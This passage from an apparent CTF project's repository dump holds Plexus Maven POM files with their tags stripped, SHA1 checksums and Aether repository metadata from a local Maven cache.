Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:git:git@github.com:sonatype/plexus-pom.git scm:git:git@github.com:sonatype/plexus-pom.git http://github.com/sonatype/plexus-pom JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 https://oss.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 org.apache.maven.plugins maven-deploy-plugin 2.6 org.apache.maven.plugins maven-gpg-plugin 1.3 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-jar-plugin 2.3.2 org.apache.maven.plugins maven-javadoc-plugin 2.8.1 org.apache.maven.plugins maven-plugin-plugin 2.8 maven-release-plugin 2.2.1 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.5 org.apache.maven.plugins maven-site-plugin 3.0 org.apache.maven.wagon wagon-webdav-jackrabbit 2.2 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.12 org.apache.maven.plugins maven-project-info-reports-plugin 2.4 index summary modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.4 index summary modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management org.apache.maven.plugins maven-surefire-report-plugin 2.9 org.apache.maven.plugins maven-checkstyle-plugin 2.6 config/maven_checks.xml https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt org.apache.maven.plugins maven-pmd-plugin 2.5 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.2 org.apache.maven.plugins maven-javadoc-plugin 2.8 true http://junit.sourceforge.net/javadoc/ javadoc test-javadoc plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.1/plexus-3.1.pom.sha1 ================================================ b64de86ceaa4f0e4d8ccc44a26c562c6fb7fb230 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:01 CST 2018 plexus-3.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3/plexus-3.3.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 17 org.codehaus.plexus plexus pom 3.3 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:git:git@github.com:sonatype/plexus-pom.git scm:git:git@github.com:sonatype/plexus-pom.git http://github.com/sonatype/plexus-pom plexus-3.3 JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 https://oss.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 2.5.1 1.5 1.5 org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.4 org.apache.maven.plugins maven-jar-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.9 org.apache.maven.plugins maven-plugin-plugin 3.1 maven-release-plugin 2.3.2 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-site-plugin 3.2 org.apache.maven.wagon wagon-webdav-jackrabbit 2.2 org.slf4j slf4j-api 1.7.2 org.slf4j slf4j-simple 1.7.2 org.apache.maven.plugins maven-source-plugin 2.2.1 org.apache.maven.plugins maven-surefire-plugin 2.12.4 org.apache.maven.plugins maven-project-info-reports-plugin 2.6 index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.6 index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management org.apache.maven.plugins maven-surefire-report-plugin 2.12.4 org.apache.maven.plugins maven-checkstyle-plugin 2.9.1 config/maven_checks.xml https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt org.apache.maven.plugins maven-pmd-plugin 2.7.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo findbugs-maven-plugin 2.5.2 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.3 org.apache.maven.plugins maven-javadoc-plugin 2.9 true http://junit.sourceforge.net/javadoc/ javadoc test-javadoc org.codehaus.mojo cobertura-maven-plugin 2.5.2 plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3/plexus-3.3.pom.sha1 ================================================ 70ab8436286998acce80e63fe75067a70cfe3e43 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:59 CST 2018 plexus-3.3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 17 org.codehaus.plexus plexus pom 3.3.1 Plexus The Plexus project provides a full software stack for creating and executing software projects. http://plexus.codehaus.org/ 2001 Codehaus http://www.codehaus.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo jvanzyl Jason van Zyl jason@maven.org Developer Release Manager kaz Pete Kazmier Developer jtaylor James Taylor james@jamestaylor.org Developer dandiep Dan Diephouse dan@envoisolutions.com Envoi solutions Developer kasper Kasper Nielsen apache@kav.dk Developer bwalding Ben Walding bwalding@codehaus.org Walding Consulting Services Developer mhw Mark Wilkinson mhw@kremvax.net Developer michal Michal Maczka mmaczka@interia.pl Developer evenisse Emmanuel Venisse evenisse@codehaus.org Developer Trygve Laugstøl trygvis trygvis@codehaus.org Developer Kenney Westerhof kenney kenney@codehaus.org Developer Carlos Sanchez carlos carlos@codehaus.org Developer Brett Porter brett brett@codehaus.org Developer John Casey jdcasey jdcasey@codehaus.org Developer Andrew Williams handyande andy@handyande.co.uk Developer Rahul Thakur rahul rahul.thakur.xdev@gmail.com Developer Joakim Erdfelt joakime joakim@erdfelt.com Developer Olivier Lamy olamy olamy@codehaus.org Developer Hervé Boutemy hboutemy hboutemy@codehaus.org Developer Oleg Gusakov oleg olegy@codehaus.org Developer Vincent Siveton vsiveton vsiveton@codehaus.org Developer Plexus User List http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org http://archive.plexus.codehaus.org/user user@plexus.codehaus.org Plexus Developer List http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org http://archive.plexus.codehaus.org/dev dev@plexus.codehaus.org Plexus Announce List http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org http://archive.plexus.codehaus.org/announce Plexus Commit List http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org http://archive.plexus.codehaus.org/scm scm:git:git@github.com:sonatype/plexus-pom.git scm:git:git@github.com:sonatype/plexus-pom.git http://github.com/sonatype/plexus-pom plexus-3.3.1 JIRA http://jira.codehaus.org/browse/PLX mail
      dev@plexus.codehaus.org
      plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus UTF-8 https://oss.sonatype.org/content/repositories/plexus-snapshots junit junit 3.8.2 test org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 2.5.1 1.5 1.5 org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.4 org.apache.maven.plugins maven-jar-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.9 org.apache.maven.plugins maven-plugin-plugin 3.2 maven-release-plugin 2.3.2 deploy false -Pplexus-release org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-site-plugin 3.2 org.apache.maven.wagon wagon-webdav-jackrabbit 2.2 org.slf4j slf4j-api 1.7.2 org.slf4j slf4j-simple 1.7.2 org.apache.maven.plugins maven-source-plugin 2.2.1 org.apache.maven.plugins maven-surefire-plugin 2.12.4 org.apache.maven.plugins maven-project-info-reports-plugin 2.6 index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.6 index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management org.apache.maven.plugins maven-surefire-report-plugin 2.12.4 org.apache.maven.plugins maven-checkstyle-plugin 2.9.1 config/maven_checks.xml https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt default checkstyle org.apache.maven.plugins maven-pmd-plugin 2.7.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo findbugs-maven-plugin 2.5.2 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-jxr-plugin 2.3 default jxr test-jxr org.apache.maven.plugins maven-javadoc-plugin 2.9 true http://junit.sourceforge.net/javadoc/ default javadoc test-javadoc org.codehaus.mojo cobertura-maven-plugin 2.5.2 plexus-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign-artifacts sign org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.3.1/plexus-3.3.1.pom.sha1 ================================================ f081c65405b2d5e403c9d57e791b23f613966322 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 plexus-archiver-1.0.jar>central= plexus-archiver-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/plexus-archiver-1.0.jar.sha1 ================================================ b564a05aeecd4d81d6b81f57a1d495fc8c0f497f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/plexus-archiver-1.0.pom ================================================ 4.0.0 plexus-components org.codehaus.plexus 1.1.17 plexus-archiver 1.0 Plexus Archiver Component scm:svn:http://svn.codehaus.org/plexus/plexus-components/tags/plexus-archiver-1.0 scm:svn:https://svn.codehaus.org/plexus/plexus-components/tags/plexus-archiver-1.0 http://fisheye.codehaus.org/browse/plexus/plexus-components/tags/plexus-archiver-1.0 Dan Tran Richard van der Hoff org.codehaus.plexus plexus-container-default org.codehaus.plexus plexus-utils 2.0.5 org.codehaus.plexus plexus-io 1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/1.0/plexus-archiver-1.0.pom.sha1 ================================================ 0fe828f728c599c354503a9ec3603f603a7fecec ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:40 CST 2018 plexus-archiver-2.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.0.1/plexus-archiver-2.0.1.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 17 org.codehaus.plexus plexus-archiver 2.0.1 Plexus Archiver Component scm:git:git@github.com:sonatype/plexus-archiver.git scm:git:git@github.com:sonatype/plexus-archiver.git http://github.com/sonatype/plexus-archiver jira http://jira.codehaus.org/browse/PLXCOMP/component/12540 plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus false Dan Tran Richard van der Hoff org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 3.0 org.codehaus.plexus plexus-io 2.0.1 org.apache.maven.plugins maven-surefire-plugin ${useJvmChmod} org.apache.maven.plugins maven-release-plugin 2.2.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.0.1/plexus-archiver-2.0.1.pom.sha1 ================================================ dfbf04dfe84e3789b1e7ef3e49c8e9a09df454c9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:20 CST 2018 plexus-archiver-2.1.pom>central= plexus-archiver-2.1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/plexus-archiver-2.1.jar.sha1 ================================================ 97853695be4bba3724512226c4d910fed733e608 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/plexus-archiver-2.1.pom ================================================ 4.0.0 org.sonatype.spice spice-parent 17 org.codehaus.plexus plexus-archiver 2.1 Plexus Archiver Component scm:git:git@github.com:sonatype/plexus-archiver.git scm:git:git@github.com:sonatype/plexus-archiver.git http://github.com/sonatype/plexus-archiver jira http://jira.codehaus.org/browse/PLXCOMP/component/12540 plexus-releases Plexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ plexus-snapshots Plexus Snapshot Repository ${plexusDistMgmtSnapshotsUrl} codehaus.org dav:https://dav.codehaus.org/plexus false Dan Tran Richard van der Hoff org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 3.0 org.codehaus.plexus plexus-io 2.0.2 org.apache.maven.plugins maven-surefire-plugin ${useJvmChmod} org.apache.maven.plugins maven-release-plugin 2.2.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-archiver/2.1/plexus-archiver-2.1.pom.sha1 ================================================ 8e63c83bf055cf0357669ca934f64c6bf27fc640 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:07 CST 2018 plexus-classworlds-1.2-alpha-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-7/plexus-classworlds-1.2-alpha-7.pom ================================================ plexus org.codehaus.plexus 1.0.9 4.0.0 org.codehaus.plexus plexus-classworlds Plexus Classworlds 1.2-alpha-7 2002 scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-7 scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-7 http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-7 maven-surefire-plugin once maven-compiler-plugin org/codehaus/plexus/classworlds/event/* debug org.codehaus.mojo aspectj-maven-plugin compile 1.4 aspectj aspectjrt 1.5.0 junit junit 3.8.1 compile deployed ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-7/plexus-classworlds-1.2-alpha-7.pom.sha1 ================================================ 6944ec0d0cab19adf167332f7197e045d64a577c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:50 CST 2018 plexus-classworlds-1.2-alpha-9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-9/plexus-classworlds-1.2-alpha-9.pom ================================================ plexus org.codehaus.plexus 1.0.10 4.0.0 org.codehaus.plexus plexus-classworlds jar Plexus Classworlds 1.2-alpha-9 2002 junit junit 3.8.1 jar compile maven-surefire-plugin once maven-compiler-plugin org/codehaus/plexus/classworlds/event/* debug aspectj aspectjrt 1.5.0 org.codehaus.mojo aspectj-maven-plugin compile 1.4 scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-9 scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-9 http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-1.2-alpha-9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/1.2-alpha-9/plexus-classworlds-1.2-alpha-9.pom.sha1 ================================================ 32be3692644bf86d1226e13e2a60b49a9fa49571 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-classworlds-2.2.2.jar>central= plexus-classworlds-2.2.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/plexus-classworlds-2.2.2.jar.sha1 ================================================ 3a2bad2b58c1ca765d3f471cea8c1655d70fdfd9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/plexus-classworlds-2.2.2.pom ================================================ 4.0.0 plexus org.codehaus.plexus 2.0.3 org.codehaus.plexus plexus-classworlds 2.2.2 Plexus Classworlds A class loader framework 2002 scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.2 scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.2 http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.2 junit junit 3.8.2 test org.apache.maven.plugins maven-surefire-plugin 2.4.2 true -ea:org.codehaus.classworlds:org.codehaus.plexus.classworlds once org.apache.maven.plugins maven-compiler-plugin org/codehaus/plexus/classworlds/event/* org.apache.maven.plugins maven-dependency-plugin 2.0 generate-test-resources copy ant ant 1.6.5 commons-logging commons-logging 1.0.3 xml-apis xml-apis 1.3.02 ${project.build.directory}/test-lib ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.2/plexus-classworlds-2.2.2.pom.sha1 ================================================ df1dfb0099c8759b378fe0af3b4a564d2c16aa18 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 plexus-classworlds-2.2.3.pom>central= plexus-classworlds-2.2.3.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.jar.sha1 ================================================ 93b34d7a40ed56fe33274480c5792b656d3697a9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom ================================================ 4.0.0 plexus org.codehaus.plexus 2.0.6 org.codehaus.plexus plexus-classworlds 2.2.3 Plexus Classworlds A class loader framework 2002 scm:svn:http://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.3 scm:svn:https://svn.codehaus.org/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.3 http://fisheye.codehaus.org/browse/plexus/plexus-classworlds/tags/plexus-classworlds-2.2.3 junit junit 3.8.2 test org.apache.maven.plugins maven-surefire-plugin 2.4.2 true -ea:org.codehaus.classworlds:org.codehaus.plexus.classworlds once org.apache.maven.plugins maven-compiler-plugin org/codehaus/plexus/classworlds/event/* org.apache.maven.plugins maven-dependency-plugin 2.0 generate-test-resources copy ant ant 1.6.5 commons-logging commons-logging 1.0.3 xml-apis xml-apis 1.3.02 ${project.build.directory}/test-lib ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-classworlds/2.2.3/plexus-classworlds-2.2.3.pom.sha1 ================================================ 068f7ac6a425f5e82bbbb5faef91e4b5d3d84f76 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:58 CST 2018 plexus-compiler-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler/2.5/plexus-compiler-2.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-components 1.3.1 plexus-compiler 2.5 pom Plexus Compiler Plexus Compiler is a Plexus component to use different compilers through a uniform API. plexus-compiler-api plexus-compiler-manager plexus-compilers plexus-compiler-test scm:git:git@github.com:codehaus-plexus/plexus-compiler.git scm:git:git@github.com:codehaus-plexus/plexus-compiler.git http://github.com/codehaus-plexus/plexus-compiler plexus-compiler-2.5 jira http://jira.codehaus.org/browse/PLXCOMP/component/12541 org.codehaus.plexus plexus-compiler-api ${project.version} org.codehaus.plexus plexus-compiler-test ${project.version} org.codehaus.plexus plexus-utils 3.0.10 org.codehaus.plexus plexus-container-default provided junit junit test 4.11 org.apache.maven.plugins maven-compiler-plugin 3.1 org.apache.maven.plugins maven-surefire-plugin 2.17 org.apache.maven.plugins maven-site-plugin 3.4 org.apache.maven.plugins maven-release-plugin 2.5.1 plexus-release,tools.jar org.codehaus.plexus plexus-component-metadata generate-metadata merge-metadata org.apache.maven.plugins maven-gpg-plugin org.apache.maven.plugins maven-project-info-reports-plugin 2.7 org.codehaus.mojo findbugs-maven-plugin 3.0.0 org.codehaus.mojo cobertura-maven-plugin 2.6 maven.repo.local maven.repo.local org.apache.maven.plugins maven-surefire-plugin maven.repo.local ${maven.repo.local} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler/2.5/plexus-compiler-2.5.pom.sha1 ================================================ f626ccd9e26a2d3ec8723ec1e545750cc1c0d8d4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-compiler-api-2.5.jar>central= plexus-compiler-api-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/plexus-compiler-api-2.5.jar.sha1 ================================================ 10fec3fabc1cf8114a6d520b64b2665b4c71ca7a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/plexus-compiler-api-2.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-compiler 2.5 plexus-compiler-api Plexus Compiler Api Plexus Compilers component's API to manipulate compilers. org.codehaus.plexus plexus-utils junit junit ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-api/2.5/plexus-compiler-api-2.5.pom.sha1 ================================================ 88db80dc285798fefce970bff21f8c12524d2a08 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-compiler-javac-2.5.pom>central= plexus-compiler-javac-2.5.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/plexus-compiler-javac-2.5.jar.sha1 ================================================ 5faa380e1b7416e4265ea98d3caa04bf797fc06c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/plexus-compiler-javac-2.5.pom ================================================ 4.0.0 org.codehaus.plexus plexus-compilers 2.5 plexus-compiler-javac Plexus Javac Component Javac Compiler support for Plexus Compiler component. org.codehaus.plexus plexus-utils ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-javac/2.5/plexus-compiler-javac-2.5.pom.sha1 ================================================ a4e5664e656224dbf85c573163a38e9c3f7fb59d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-compiler-manager/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 plexus-compiler-manager-2.5.pom>central= 